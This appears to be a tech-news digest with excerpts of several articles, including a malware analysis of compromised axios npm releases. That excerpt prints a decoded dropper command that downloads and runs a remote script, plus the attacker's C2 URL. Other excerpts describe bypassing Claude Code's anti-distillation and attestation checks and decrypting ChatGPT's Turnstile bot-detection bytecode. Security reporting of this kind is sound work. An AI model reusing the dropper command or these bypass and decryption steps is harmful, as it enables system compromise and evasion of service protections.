10 interesting stories served every morning and every evening.
Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected a hidden dependency that drops a cross platform RAT. We are actively investigating and will update this post with a full technical analysis. StepSecurity hosted a community town hall on this incident on April 1st at 10:00 AM PT - YouTube recording: https://youtu.be/3Hku_svFvosaxios is the most popular JavaScript HTTP client library with over 100 million weekly downloads. On March 30, 2026, StepSecurity identified two malicious versions of the widely used axios HTTP client library published to npm: axios@1.14.1 and axios@0.30.4. The malicious versions inject a new dependency, plain-crypto-js@4.2.1, which is never imported anywhere in the axios source code. Its sole purpose is to execute a postinstall script that acts as a cross platform remote access trojan (RAT) dropper, targeting macOS, Windows, and Linux. The dropper contacts a live command and control server and delivers platform specific second stage payloads. After execution, the malware deletes itself and replaces its own package.json with a clean version to evade forensic detection.If you have installed axios@1.14.1 or axios@0.30.4, assume your system is compromisedThere are zero lines of malicious code inside axios itself, and that’s exactly what makes this attack so dangerous. Both poisoned releases inject a fake dependency, plain-crypto-js@4.2.1, a package never imported anywhere in the axios source, whose sole purpose is to run a postinstall script that deploys a cross-platform remote access trojan. The dropper contacts a live command-and-control server, delivers separate second-stage payloads for macOS, Windows, and Linux, then erases itself and replaces its own package.json with a clean decoy. A developer who inspects their node_modules folder after the fact will find no indication anything went wrong.This was not opportunistic. It was precision. The malicious dependency was staged 18 hours in advance. Three payloads were pre-built for three operating systems. Both release branches were poisoned within 39 minutes of each other. Every artifact was designed to self-destruct. Within two seconds of npm install, the malware was already calling home to the attacker’s server before npm had even finished resolving dependencies. This is among the most operationally sophisticated supply chain attacks ever documented against a top-10 npm package.These compromises were detected by StepSecurity AI Package Analyst [1][2] and StepSecurity Harden-Runner. We have responsibly disclosed the issue to the project maintainers.StepSecurity Harden-Runner, whose community tier is free for public repos and is used by over 12,000 public repositories, detected the compromised axios package making anomalous outbound connections to the attacker’s C2 domain across multiple open source projects. For example, Harden-Runner flagged the C2 callback to sfrclak.com:8000 during a routine CI run in the backstage repository, one of the most widely used developer portal frameworks. The Backstage team has confirmed that this workflow is intentionally sandboxed and the malicious package install does not impact the project. The connection was automatically marked as anomalous because it had never appeared in any prior workflow run. Harden-Runner insights for community tier projects are public by design, allowing anyone to verify the detection: https://app.stepsecurity.io/github/backstage/backstage/actions/runs/23775668703?tab=network-events
[Community Webinar] axios Compromised on npm: What We Know, What You Should Do
Watch the StepSecurity community briefing on the axios supply chain attack. We walk through the full attack chain, indicators of compromise, remediation steps, and answer community questions.
Watch the recording on YouTube →
The attack was pre-staged across roughly 18 hours, with the malicious dependency seeded on npm before the axios releases to avoid “brand-new package” alarms from security scanners:
plain-crypto-js@4.2.0 published by nrwise@proton.me — a clean decoy containing a full copy of the legitimate crypto-js source, no postinstall hook. Its sole purpose is to establish npm publishing history so the package does not appear as a zero-history account during later inspection.
plain-crypto-js@4.2.1 published by nrwise@proton.me — malicious payload added. The postinstall: “node setup.js” hook and obfuscated dropper are introduced.
axios@1.14.1 published by compromised jasonsaayman account (email: ifstap@proton.me) — injects plain-crypto-js@4.2.1 as a runtime dependency, targeting the modern 1.x user base.
axios@0.30.4 published by the same compromised account — identical injection into the legacy 0.x branch, published 39 minutes later to maximize coverage across both release lines.
npm unpublishes axios@1.14.1 and axios@0.30.4. Both versions are removed from the registry and the latest dist-tag reverts to 1.14.0. axios@1.14.1 had been live for approximately 2 hours 53 minutes; axios@0.30.4 for approximately 2 hours 15 minutes. Timestamp is inferred from the axios registry document’s modified field (03:15:30Z) — npm does not expose a dedicated per-version unpublish timestamp in its public API.
npm initiates a security hold on plain-crypto-js, beginning the process of replacing the malicious package with an npm security-holder stub.
npm publishes the security-holder stub plain-crypto-js@0.0.1-security.0 under the npm@npmjs.com account, formally replacing the malicious package on the registry. plain-crypto-js@4.2.1 had been live for approximately 4 hours 27 minutes. Attempting to install any version of plain-crypto-js now returns the security notice.
The attacker compromised the jasonsaayman npm account, the primary maintainer of the axios project. The account’s registered email was changed to ifstap@proton.me — an attacker-controlled ProtonMail address. Using this access, the attacker published malicious builds across both the 1.x and 0.x release branches simultaneously, maximizing the number of projects exposed.Both axios@1.14.1 and axios@0.30.4 are recorded in the npm registry as published by jasonsaayman, making them indistinguishable from legitimate releases at a glance. Both versions were published using the compromised npm credentials of a lead axios maintainer, bypassing the project’s normal GitHub Actions CI/CD pipeline.A critical forensic signal is visible in the npm registry metadata. Every legitimate axios 1.x release is published via GitHub Actions with npm’s OIDC Trusted Publisher mechanism, meaning the publish is cryptographically tied to a verified GitHub Actions workflow. axios@1.14.1 breaks that pattern entirely — published manually via a stolen npm access token with no OIDC binding and no gitHead:// axios@1.14.0 — LEGITIMATE
“_npmUser”: {
“name”: “GitHub Actions”,
“email”: “npm-oidc-no-reply@github.com”,
“trustedPublisher”: {
“id”: “github”,
“oidcConfigId”: “oidc:9061ef30-3132-49f4-b28c-9338d192a1a9″
// axios@1.14.1 — MALICIOUS
“_npmUser”: {
“name”: “jasonsaayman”,
“email”: “ifstap@proton.me”
// no trustedPublisher, no gitHead, no corresponding GitHub commit or tag
}There is no commit or tag in the axios GitHub repository that corresponds to 1.14.1. The release exists only on npm. The OIDC token that legitimate releases use is ephemeral and scoped to the specific workflow — it cannot be stolen. The attacker must have obtained a long-lived classic npm access token for the account.Before publishing the malicious axios versions, the attacker pre-staged plain-crypto-js@4.2.1 from account nrwise@proton.me. This package:Masquerades as crypto-js with an identical description and repository URL pointing to the legitimate brix/crypto-js GitHub repositoryContains “postinstall”: “node setup.js” — the hook that fires the RAT dropper on installPre-stages a clean package.json stub in a file named package.md for evidence destruction after executionThe decoy version (4.2.0) was published 18 hours earlier to establish publishing history - a clean package in the registry that makes nrwise look like a legitimate maintainer.What changed between 4.2.0 (decoy) and 4.2.1 (malicious)A complete file-level comparison between plain-crypto-js@4.2.0 and plain-crypto-js@4.2.1 reveals exactly three differences. Every other file (all 56 crypto source files, the README, the LICENSE, and the docs) is identical between the two versions:
The 56 crypto source files are not just similar; they are bit-for-bit identical to the corresponding files in the legitimate crypto-js@4.2.0 package published by Evan Vosberg. The attacker made no modifications to the cryptographic library code whatsoever. This was intentional: any diff-based analysis comparing plain-crypto-js against crypto-js would find nothing suspicious in the library files and would focus attention on package.json — where the postinstall hook looks, at a glance, like a standard build or setup task.The anti-forensics stub (package.md) deserves particular attention. After setup.js runs, it renames package.md to package.json. The stub reports version 4.2.0 — not 4.2.1:// Contents of package.md (the clean replacement stub)
“name”: “plain-crypto-js”,
“version”: “4.2.0″, // ← reports 4.2.0, not 4.2.1 — deliberate mismatch
“description”: “JavaScript library of crypto standards.”,
“license”: “MIT”,
“author”: { “name”: “Evan Vosberg”, “url”: “http://github.com/evanvosberg” },
“homepage”: “http://github.com/brix/crypto-js”,
“repository”: { “type”: “git”, “url”: “http://github.com/brix/crypto-js.git” },
“main”: “index.js”,
// No “scripts” key — no postinstall, no test
“dependencies”: {}
}This creates a secondary deception layer. After infection, running npm list in the project directory will report plain-crypto-js@4.2.0 — because npm list reads the version field from the installed package.json, which now says 4.2.0. An incident responder checking installed packages would see a version number that does not match the malicious 4.2.1 version they were told to look for, potentially leading them to conclude the system was not compromised.# What npm list reports POST-infection (after the package.json swap):
$ npm list plain-crypto-js
myproject@1.0.0
└── plain-crypto-js@4.2.0 # ← reports 4.2.0, not 4.2.1
# but the dropper already ran as 4.2.1
# The reliable check is the DIRECTORY PRESENCE, not the version number:
$ ls node_modules/plain-crypto-js
aes.js cipher-core.js core.js …
# If this directory exists at all, the dropper ran.
# plain-crypto-js is not a dependency of ANY legitimate axios version.The difference between the real crypto-js@4.2.0 and the malicious plain-crypto-js@4.2.1 is a single field in package.json:// crypto-js@4.2.0 (LEGITIMATE — Evan Vosberg / brix)
“name”: “crypto-js”,
“version”: “4.2.0″,
“description”: “JavaScript library of crypto standards.”,
“author”: “Evan Vosberg”,
“homepage”: “http://github.com/brix/crypto-js”,
“scripts”: {
“test”: “grunt” // ← no postinstall
// plain-crypto-js@4.2.1 (MALICIOUS — nrwise@proton.me)
“name”: “plain-crypto-js”, // ← different name, everything else cloned
“version”: “4.2.1″, // ← version one ahead of the real package
“description”: “JavaScript library of crypto standards.”,
“author”: { “name”: “Evan Vosberg” }, // ← fraudulent use of real author name
“homepage”: “http://github.com/brix/crypto-js”, // ← real repo, wrong package
“scripts”: {
“test”: “grunt”,
“postinstall”: “node setup.js” // ← THE ONLY DIFFERENCE. The entire weapon.
}The attacker published axios@1.14.1 and axios@0.30.4 with plain-crypto-js: “^4.2.1” added as a runtime dependency — a package that has never appeared in any legitimate axios release. The diff is surgical: every other dependency is identical to the prior clean version.When a developer runs npm install axios@1.14.1, npm resolves the dependency tree and installs plain-crypto-js@4.2.1 automatically. npm then executes plain-crypto-js’s postinstall script, launching the dropper.Phantom dependency: A grep across all 86 files in axios@1.14.1 confirms that plain-crypto-js is never imported or require()’d anywhere in the axios source code. It is added to package.json only to trigger the postinstall hook. A dependency that appears in the manifest but has zero usage in the codebase is a high-confidence indicator of a compromised release.The Surgical Precision of the InjectionA complete binary diff between axios@1.14.0 and axios@1.14.1 across all 86 files (excluding source maps) reveals that exactly one file changed: package.json. Every other file — all 85 library source files, type definitions, README, CHANGELOG, and compiled dist bundles — is bit-for-bit identical between the two versions.# File diff: axios@1.14.0 vs axios@1.14.1 (86 files, source maps excluded)
DIFFERS: package.json
Total differing files: 1
Files only in 1.14.1: (none)
Files only in 1.14.0: (none)# –- axios/package.json (1.14.0)
# +++ axios/package.json (1.14.1)
- “version”: “1.14.0″,
+ “version”: “1.14.1″,
“scripts”: {
“fix”: “eslint –fix lib/**/*.js”,
- “prepare”: “husky”
“dependencies”: {
“follow-redirects”: “^2.1.0″,
“form-data”: “^4.0.1″,
“proxy-from-env”: “^2.1.0″,
+ “plain-crypto-js”: “^4.2.1″
}Two changes are visible: the version bump (1.14.0 → 1.14.1) and the addition of plain-crypto-js. There is also a third, less obvious change: the “prepare”: “husky” script was removed. husky is the git hook manager used by the axios project to enforce pre-commit checks. Its removal from the scripts section is consistent with a manual publish that bypassed the normal development workflow — the attacker edited package.json directly without going through the project’s standard release tooling, which would have re-added the husky prepare script.The same analysis applies to axios@0.30.3 → axios@0.30.4:# –- axios/package.json (0.30.3)
# +++ axios/package.json (0.30.4)
- “version”: “0.30.3″,
+ “version”: “0.30.4″,
“dependencies”: {
“follow-redirects”: “^1.15.4″,
“form-data”: “^4.0.4″,
“proxy-from-env”: “^1.1.0″,
+ “plain-crypto-js”: “^4.2.1″
}Again — exactly one substantive change: the malicious dependency injection. The version bump itself (from 0.30.3 to 0.30.4) is simply the required npm version increment to publish a new release; it carries no functional significance.setup.js is a single minified file employing a two-layer obfuscation scheme designed to evade static analysis tools and confuse human reviewers.All sensitive strings — module names, OS identifiers, shell commands, the C2 URL, and file paths — are stored as encoded values in an array named stq[]. Two functions decode them at runtime:_trans_1(x, r) — XOR cipher. The key “OrDeR_7077” is parsed through JavaScript’s Number(): alphabetic characters produce NaN, which in bitwise operations becomes 0. Only the digits 7, 0, 7, 7 in positions 6–9 survive, giving an effective key of [0,0,0,0,0,0,7,0,7,7]. Each character at position r is decoded as:charCode XOR key[(7 × r × r) % 10] XOR 333_trans_2(x, r) — Outer layer. Reverses the encoded string, replaces _ with =, base64-decodes the result (interpreting the bytes as UTF-8 to recover Unicode code points), then passes the output through _trans_1.The dropper’s entry point is _entry(“6202033″), where 6202033 is the C2 URL path segment. The full C2 URL is: http://sfrclak.com:8000/6202033StepSecurity fully decoded every entry in the stq[] array. The recovered plaintext reveals the complete attack:stq[0] → “child_process” // shell execution
stq[1] → “os” // platform detection
stq[2] → “fs” // filesystem operations
stq[3] → “http://sfrclak.com:8000/” // C2 base URL
stq[5] → “win32” // Windows platform identifier
stq[6] → “darwin” // macOS platform identifier
stq[12] → “curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &”
stq[13] → “package.json” // deleted after execution
stq[14] → “package.md” // clean stub renamed to package.json
stq[15] → ”.exe”
stq[16] → ”.ps1″
stq[17] → ”.vbs”The complete attack path from npm install to C2 contact and cleanup, across all three target platforms.With all strings decoded, the dropper’s full logic can be reconstructed and annotated. The following is a de-obfuscated, commented version of the _entry() function that constitutes the entire dropper payload. Original variable names are preserved; comments are added for clarity.// setup.js — de-obfuscated and annotated
// SHA-256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
...
Read the original on www.stepsecurity.io »
After a team member summoned Copilot to correct a typo in a PR of mine, Copilot edited my PR description to include and ad for itself and Raycast.
This is horrific. I knew this kind of bullshit would happen eventually, but I didn’t expect it so soon.
Here is how platforms die: first, they are good to their users; then they abuse their users to make things better for their business customers; finally, they abuse those business customers to claw back all the value for themselves. Then, they die.
...
Read the original on notes.zachmanson.com »
Update: see HN discussions about this post: https://news.ycombinator.com/item?id=47586778
I use Claude Code daily, so when Chaofan Shou noticed earlier today that Anthropic had shipped a .map file alongside their Claude Code npm package, one containing the full, readable source code of the CLI tool, I immediately wanted to look inside. The package has since been pulled, but not before the code was widely mirrored, including myself and picked apart on Hacker News.
This is Anthropic’s second accidental exposure in a week (the model spec leak was just days ago), and some people on Twitter are starting to wonder if someone inside is doing this on purpose. Probably not, but it’s a bad look either way. The timing is hard to ignore: just ten days ago, Anthropic sent legal threats to OpenCode, forcing them to remove built-in Claude authentication because third-party tools were using Claude Code’s internal APIs to access Opus at subscription rates instead of pay-per-token pricing. That whole saga makes some of the findings below more pointed.
So I spent my morning reading through the HN comments and leaked source. Here’s what I found, roughly ordered by how “spicy” I thought it was.
In claude.ts (line 301-313), there’s a flag called ANTI_DISTILLATION_CC. When enabled, Claude Code sends anti_distillation: [‘fake_tools’] in its API requests. This tells the server to silently inject decoy tool definitions into the system prompt.
The idea: if someone is recording Claude Code’s API traffic to train a competing model, the fake tools pollute that training data. It’s gated behind a GrowthBook feature flag (tengu_anti_distill_fake_tool_injection) and only active for first-party CLI sessions.
This was one of the first things people noticed on HN.
There’s also a second anti-distillation mechanism in betas.ts (lines 279-298), server-side connector-text summarization. When enabled, the API buffers the assistant’s text between tool calls, summarizes it, and returns the summary with a cryptographic signature. On subsequent turns, the original text can be restored from the signature. If you’re recording API traffic, you only get the summaries, not the full reasoning chain.
How hard would it be to work around these? Not very. Looking at the activation logic in claude.ts, the fake tools injection requires all four conditions to be true: the ANTI_DISTILLATION_CC compile-time flag, the cli entrypoint, a first-party API provider, and the tengu_anti_distill_fake_tool_injection GrowthBook flag returning true. A MITM proxy that strips the anti_distillation field from request bodies before they reach the API would bypass it entirely, since the injection is server-side and opt-in. The shouldIncludeFirstPartyOnlyBetas() function also checks for CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS, so setting that env var to a truthy value disables the whole thing. And if you’re using a third-party API provider or the SDK entrypoint instead of the CLI, the check never fires at all. The connector-text summarization is even more narrowly scoped, Anthropic-internal-only (USER_TYPE === ‘ant’), so external users won’t encounter it regardless.
Anyone serious about distilling from Claude Code traffic would find the workarounds in about an hour of reading the source. The real protection is probably legal, not technical.
The file undercover.ts (about 90 lines) implements a mode that strips all traces of Anthropic internals when Claude Code is used in non-internal repos. It instructs the model to never mention internal codenames like “Capybara” or “Tengu,” internal Slack channels, repo names, or the phrase “Claude Code” itself.
“There is NO force-OFF. This guards against model codename leaks.”
You can force it ON with CLAUDE_CODE_UNDERCOVER=1, but there’s no way to force it off. In external builds, the entire function gets dead-code-eliminated to trivial returns. This is a one-way door.
This means AI-authored commits and PRs from Anthropic employees in open source projects will have no indication that an AI wrote them. Hiding internal codenames is reasonable. Having the AI actively pretend to be human is a different thing.
An LLM company using regexes for sentiment analysis is peak irony, but also: a regex is faster and cheaper than an LLM inference call just to check if someone is swearing at your tool.
In system.ts (lines 59-95), API requests include a cch=00000 placeholder. Before the request leaves the process, Bun’s native HTTP stack (written in Zig) overwrites those five zeros with a computed hash. The server then validates the hash to confirm the request came from a real Claude Code binary, not a spoofed one.
They use a placeholder of the same length so the replacement doesn’t change the Content-Length header or require buffer reallocation. The computation happens below the JavaScript runtime, so it’s invisible to anything running in the JS layer. It’s basically DRM for API calls, implemented at the HTTP transport level.
This is the technical enforcement behind the OpenCode legal fight. Anthropic doesn’t just ask third-party tools not to use their APIs; the binary itself cryptographically proves it’s the real Claude Code client. If you’re wondering why the OpenCode community had to resort to session-stitching hacks and auth plugins after Anthropic’s legal notice, this is why.
The attestation isn’t airtight, though. The whole mechanism is gated behind a compile-time feature flag (NATIVE_CLIENT_ATTESTATION), and the cch=00000 placeholder only gets injected into the x-anthropic-billing-header when that flag is on. The header itself can be disabled entirely by setting CLAUDE_CODE_ATTRIBUTION_HEADER to a falsy value, or remotely via a GrowthBook killswitch (tengu_attribution_header). The Zig-level hash replacement also only works inside the official Bun binary. If you rebuilt the JS bundle and ran it on stock Bun (or Node), the placeholder would survive as-is: five literal zeros hitting the server. Whether the server rejects that outright or just logs it is an open question, but the code comment references a server-side _parse_cc_header function that “tolerates unknown extra fields,” which suggests the validation might be more forgiving than you’d expect for a DRM-like system. Not a push-button bypass, but not the kind of thing that would stop a determined third-party client for long either.
“BQ 2026-03-10: 1,279 sessions had 50+ consecutive failures (up to 3,272) in a single session, wasting ~250K API calls/day globally.”
The fix? MAX_CONSECUTIVE_AUTOCOMPACT_FAILURES = 3. After 3 consecutive failures, compaction is disabled for the rest of the session. Three lines of code to stop burning a quarter million API calls a day.
Throughout the codebase, there are references to a feature-gated mode called KAIROS. Based on the code paths in main.tsx, it looks like an unreleased autonomous agent mode that includes:
This is probably the biggest product roadmap reveal from the leak.
The implementation is heavily gated, so who knows how far along it is. But the scaffolding for an always-on, background-running agent is there.
Tomorrow is April 1st, and the source contains what’s almost certainly this year’s April Fools’ joke: buddy/companion.ts implements a Tamagotchi-style companion system. Every user gets a deterministic creature (18 species, rarity tiers from common to legendary, 1% shiny chance, RPG stats like DEBUGGING and SNARK) generated from their user ID via a Mulberry32 PRNG. Species names are encoded with String.fromCharCode() to dodge build-system grep checks.
The terminal rendering in ink/screen.ts and ink/optimizer.ts borrows game-engine techniques: an Int32Array-backed ASCII char pool, bitmask-encoded style metadata, a patch optimizer that merges cursor moves and cancels hide/show pairs, and a self-evicting line-width cache (the source claims “~50x reduction in stringWidth calls during token streaming”). Seems like overkill until you remember these things stream tokens one at a time.
Every bash command runs through 23 numbered security checks in bashSecurity.ts: 18 blocked Zsh builtins, defense against Zsh equals expansion (=curl bypassing permission checks for curl), unicode zero-width space injection, IFS null-byte injection, and a malformed token bypass found during HackerOne review. I haven’t seen another tool with this specific a Zsh threat model.
Prompt cache economics clearly drive a lot of the architecture. promptCacheBreakDetection.ts tracks 14 cache-break vectors, and there are “sticky latches” that prevent mode toggles from busting the cache. One function is annotated DANGEROUS_uncachedSystemPromptSection(). When you’re paying for every token, cache invalidation stops being a computer science joke and becomes an accounting problem.
The multi-agent coordinator in coordinatorMode.ts is interesting because the orchestration algorithm is a prompt, not code. It manages worker agents through system prompt instructions like “Do not rubber-stamp weak work” and “You must understand findings before directing follow-up work. Never hand off understanding to another worker.”
The codebase also has some rough spots. print.ts is 5,594 lines long with a single function spanning 3,167 lines and 12 levels of nesting. They use Axios for HTTP, which is funny timing given that Axios was just compromised on npm with malicious versions dropping a remote access trojan.
Some people are downplaying this because Google’s Gemini CLI and OpenAI’s Codex are already open source. But those companies open-sourced their agent SDK (a toolkit), not the full internal wiring of their flagship product.
The real damage isn’t the code. It’s the feature flags. KAIROS, the anti-distillation mechanisms: these are product roadmap details that competitors can now see and react to. The code can be refactored. The strategic surprise can’t be un-leaked.
And here’s the kicker: Anthropic acquired Bun at the end of last year, and Claude Code is built on top of it. A Bun bug (oven-sh/bun#28001), filed on March 11, reports that source maps are served in production mode even though Bun’s own docs say they should be disabled. The issue is still open. If that’s what caused the leak, then Anthropic’s own toolchain shipped a known bug that exposed their own product’s source code.
As one Twitter reply put it: “accidentally shipping your source map to npm is the kind of mistake that sounds impossible until you remember that a significant portion of the codebase was probably written by the AI you are shipping.”
...
Read the original on alex000kim.com »
I’ve taken agency in the treatment of my bone cancer (osteosarcoma in the T5 vertebrae of the upper spine). After I’ve ran out of standard of care treatment options and there were no trials available for me I’ve started doing: maximum diagnostics, created new treatments, started doing treatments in parallel, and scaling this for others.
Elliot Hershberg wrote a great and extensive article about my cancer journey.
My cancer journey deck is embedded below, there also is a recording of an OpenAI Forum presentation. The companies we are building to scale this approach for others can be found at evenone.ventures. Please scroll further on this page for my data and other information.
I think the medical industry can be more patient first, see this great article by Ruxandra https://www.writingruxandrabio.com/p/the-bureaucracy-blocking-the-chance
For my data please see https://osteosarc.com/ that includes my treatment timeline and a data overview doc with 25TB of publicly readable Google Cloud buckets.
Please subscribe to my mailing list
...
Read the original on sytse.com »
Stuff that’s in the code but not shipped yet. Feature-flagged, env-gated, or just commented out.
A virtual pet that lives in your terminal. Species and rarity are derived from your account ID. Persistent mode with memory consolidation between sessions and autonomous background actions.Long planning sessions on Opus-class models, up to 30-minute execution windows.Control Claude Code from your phone or a browser. Full remote session with permission approvals.Run sessions in the background with –bgtmuxSessions talk to each other over Unix domain sockets.Between sessions, the AI reviews what happened and organizes what it learned.
...
Read the original on ccunpacked.dev »
Hello! This is a long, hopefully fun one! If you’re reading this in your email, you may need to click “expand” to read all the way to the end of this post. Thank you!
When I lived in Nashville, my girlfriends and I would take ourselves on “field trips” across the state. We once went on a tour to spot bald eagles in West Tennessee, and upon arrival, a woman with fluffy hair in the state park bathroom told us she had seen 113 bald eagles the day before. We ended up seeing (counts on one hand)…2.
In the summer of 2017, we went on another field trip to the National Park’s Manhattan Project Site in Oak Ridge, TN. In 1942, Oak Ridge, TN, was chosen as the site for a plutonium and uranium enrichment plant as part of the Manhattan Project, a top-secret WWII effort to develop the first atomic bomb. Once a small and rural farming community settled in the valley of East Tennessee, the swift task to create a nuclear bomb grew the secret settlement titled “Site X” from 3,000 people in 1942 to 75,000 by 1945. Alongside the population growth, enormously complex buildings were built.
A Note: The Manhattan Project created the nuclear bomb that caused extreme devastation in Japan and ended the war. There’s a lot of U. S. history that’s awful and indefensible. Today, though, I’d like to talk about the industrial design and color theory from that era.
Our first stop on the tour was the X-10 Graphite Reactor room and its control panel room. The X-10 Graphite Reactor, a 24-foot-square block of graphite, was the world’s second full-scale nuclear reactor. The plutonium produced from uranium there was shipped to Los Alamos, New Mexico, for research into the atomic bomb Fat Man.
What caught my eye as a designer, as with most industrial plants and control rooms of that time, besides the knobs, levers, and buttons, was the use of a very specific seafoam green, seen here on the reactor’s walls and in the control panel room.
Thus began my day-long search, traipsing through the internet for historical information about this specific shade of seafoam green.
Thankfully, this path led me to the work of color theorist Faber Birren.
In the fall of 1919, Faber Birren entered the Art Institute at the University of Chicago, only to drop out in the spring of 1921 to commit himself to self-education in color, as such a program didn’t exist. He spent his days interviewing psychologists and physicists and conducted his own color studies, which were considered unconventional at the time. He painted his bedroom walls red vermillion to test if it would make him go mad.
In 1933, he moved to New York City and became a self-appointed color consultant, approaching major corporations to sell the idea that appropriate use of color could boost sales. He convinced a Chicago wholesale meat company that the company’s white walls made the meat unappealing. He studied the steaks on various colored backgrounds and determined that a blue/green background would make the beef appear redder. Sales went up, and soon a number of industries hired Faber to bring color theory into their work, including the leading chemical and wartime contract company, as well as the Manhattan Project building designer, DuPont.
With the increase in wartime production in the US during WWII, Birren and DuPont created a master color safety code for the industrial plant industry, with the aim of reducing accidents and increasing efficiency within plants. These color codes were approved by the National Safety Council in 1944 and are now internationally recognized, having been mandatory practice since 1948. The color coding went as such:
* Fire Red: All fire protection, emergency stop buttons, and flammable liquids should be red
* Solar Yellow: Signifies caution and physical hazards such as falling
* Safety Green: Indicates safety features such as first-aid equipment, emergency exits, and eyewash stations.
* Light Green: Used on walls to reduce visual fatigue
My industrial “seafoam” light green mystery has finally been solved thanks to this article from UChicago Magazine.
Keeping in theme with “control rooms”, I researched the second Manhattan Project plant, the Hanford Site, home to the B Reactor, the first full-scale plutonium production reactor in the world. To my surprise, this site looked like an ode to Birren’s light green and color codes, which makes sense, since his client, DuPont, was also responsible for the design and construction of Hanford.
In Birren’s 1963 book Color for Interiors: Historical and Modern, he writes about research undertaken to measure eye fatigue in the industrial workplace and the effects of interior color on human efficiency and well-being. Using the color chart above, he states that the proper use of color hues can reduce accidents, raise standards of machine maintenance, and improve labor morale.
“The importance of color in factories is first to control brightness in the general field of view for an efficient seeing condition. Interiors can then be conditioned for emotional pleasure and interest, using warm, cool, or luminois hues as working conditions suggest. Color should be functional and not merely decorative.” - Faber Birren
Now, looking at the interiors of the Manhattan Project control rooms and plants, the broad use of Light and Medium Green makes sense. One mistake and mass devastation could have occurred within these towns. Birren writes, “Note that most of the standards are soft in tone. This is deliberate and intended to establish a non-distracting environment. Green is a restful and natural-looking color for average factory interiors. Light Green with Medium Green is suggested.”
Let’s put these theories to work with this photo of the B-Reactor room found at the Hanford Site of the Manhattan Project. In Birren’s book, he directed the following color applications for small industrial areas:
* ✔️ Medium Gray is proposed for machinery, equipment, and racks
* ✔️ Beige walls may be applied to interiors deprived of natural light
As we can see, his color theory was followed to a T.
Other US Industrial Plants that Used these Color Methods
This color theory research just opened a whole can of design worms for me, and I’m excited to dive into them more. For example, Germany developed its own seafoam green, specifically designed for bridges, called Cologne Bridge Green. That’s a post for another day.
And finally, if you enjoy this sort of design, I designed a font called “Parts List” that is meant to evoke the feeling of sitting in an oil change waiting room, with the smell of burnt coffee. I created this font out of old auto parts lists, and it’s a perfectly wobbly typeface that will give you that ‘Is it a typewriter or handwriting?’ feeling. It’s now available on my website.
PS: I have an old friend whose dad still works at the Uranium plant in Oak Ridge. I told him that I was surprised that almost all of the facilities had been torn down, and he just looked at me straight in the face and said, “Who said it’s actually gone?” Noted. ✌️
Thanks for being here!
...
Read the original on bethmathews.substack.com »
Every ChatGPT message triggers a Cloudflare Turnstile program that runs silently in your browser. I decrypted 377 of these programs from network traffic and found something that goes beyond standard browser fingerprinting.
The program checks 55 properties spanning three layers: your browser (GPU, screen, fonts), the Cloudflare network (your city, your IP, your region from edge headers), and the ChatGPT React application itself (__reactRouterContext, loaderData, clientBootstrap). Turnstile doesn’t just verify that you’re running a real browser. It verifies that you’re running a real browser that has fully booted a specific React application.
A bot that spoofs browser fingerprints but doesn’t render the actual ChatGPT SPA will fail.
The Turnstile bytecode arrives encrypted. The server sends a field called turnstile.dx in the prepare response: 28,000 characters of base64 that change on every request.
The outer layer is XOR’d with the p token from the prepare request. Both travel in the same HTTP exchange, so decrypting it is straightforward:
outer = json.loads(bytes(
base64decode(dx)[i] ^ p_token[i % len(p_token)]
for i in range(len(base64decode(dx)))
# → 89 VM instructions
Inside those 89 instructions, there is a 19KB encrypted blob containing the actual fingerprinting program. This inner blob uses a different XOR key that is not the p token.
Initially I assumed this key was derived from performance.now() and was truly ephemeral. Then I looked at the bytecode more carefully and found the key sitting in the instructions:
[41.02, 0.3, 22.58, 12.96, 97.35]
The last argument, 97.35, is the XOR key. A float literal, generated by the server, embedded in the bytecode it sent to the browser. I verified this across 50 requests. Every time, the float from the instruction decrypts the inner blob to valid JSON. 50 out of 50.
The full decryption chain requires nothing beyond the HTTP request and response:
1. Read p from prepare request
2. Read turnstile.dx from prepare response
3. XOR(base64decode(dx), p) → outer bytecode
4. Find the 5-arg instruction after the 19KB blob → last arg is the key
5. XOR(base64decode(blob), str(key)) → inner program (417-580 VM instructions)
The key is in the payload.
Each inner program uses a custom VM with 28 opcodes (ADD, XOR, CALL, BTOA, RESOLVE, BIND_METHOD, JSON_STRINGIFY, etc.) and randomized float register addresses that change per request. I mapped the opcodes from the SDK source (sdk.js, 1,411 lines, deobfuscated).
The program collects 55 properties. No variation across 377 samples. All 55, every time, organized into three layers:
Storage (5): storage, quota, estimate, setItem, usage. Also writes the fingerprint to localStorage under key 6f376b6560133c2c for persistence across page loads.
These are injected server-side by Cloudflare’s edge. They exist only if the request passed through Cloudflare’s network. A bot making direct requests to the origin server or running behind a non-Cloudflare proxy will produce missing or inconsistent values.
This is the part that matters. __reactRouterContext is an internal data structure that React Router v6+ attaches to the DOM. loaderData contains the route loader results. clientBootstrap is specific to ChatGPT’s SSR hydration.
These properties only exist if the ChatGPT React application has fully rendered and hydrated. A headless browser that loads the HTML but doesn’t execute the JavaScript bundle won’t have them. A bot framework that stubs out browser APIs but doesn’t actually run React won’t have them.
This is bot detection at the application layer, not the browser layer.
After collecting all 55 properties, the program hits a 116-byte encrypted blob that decrypts to 4 final instructions:
[96.05, 3.99, 3.99], // JSON.stringify(fingerprint)
[22.58, 46.15, 57.34], // store
[33.34, 3.99, 74.43], // XOR(json, key)
[1.51, 56.88, 3.99] // RESOLVE → becomes the token
The fingerprint is JSON.stringify’d, XOR’d, and resolved back to the parent. The result is the OpenAI-Sentinel-Turnstile-Token header sent with every conversation request.
Turnstile is one of three challenges. The other two:
Signal Orchestrator (271 instructions): Installs event listeners for keydown, pointermove, click, scroll, paste, and wheel. Monitors 36 window.__oai_so_* properties tracking keystroke timing, mouse velocity, scroll patterns, idle time, and paste events. A behavioral biometric layer running underneath the fingerprint.
Proof of Work (25-field fingerprint + SHA-256 hashcash): Difficulty is uniform random (400K-500K), 72% solve under 5ms. Includes 7 binary detection flags (ai, createPRNG, cache, solana, dump, InstallTrigger, data), all zero across 100% of 100 samples. The PoW adds compute cost but is not the real defense.
The XOR key for the inner program is a server-generated float embedded in the bytecode. Whoever generated the turnstile.dx knows the key. The privacy boundary between the user and the system operator is a policy decision, not a cryptographic one.
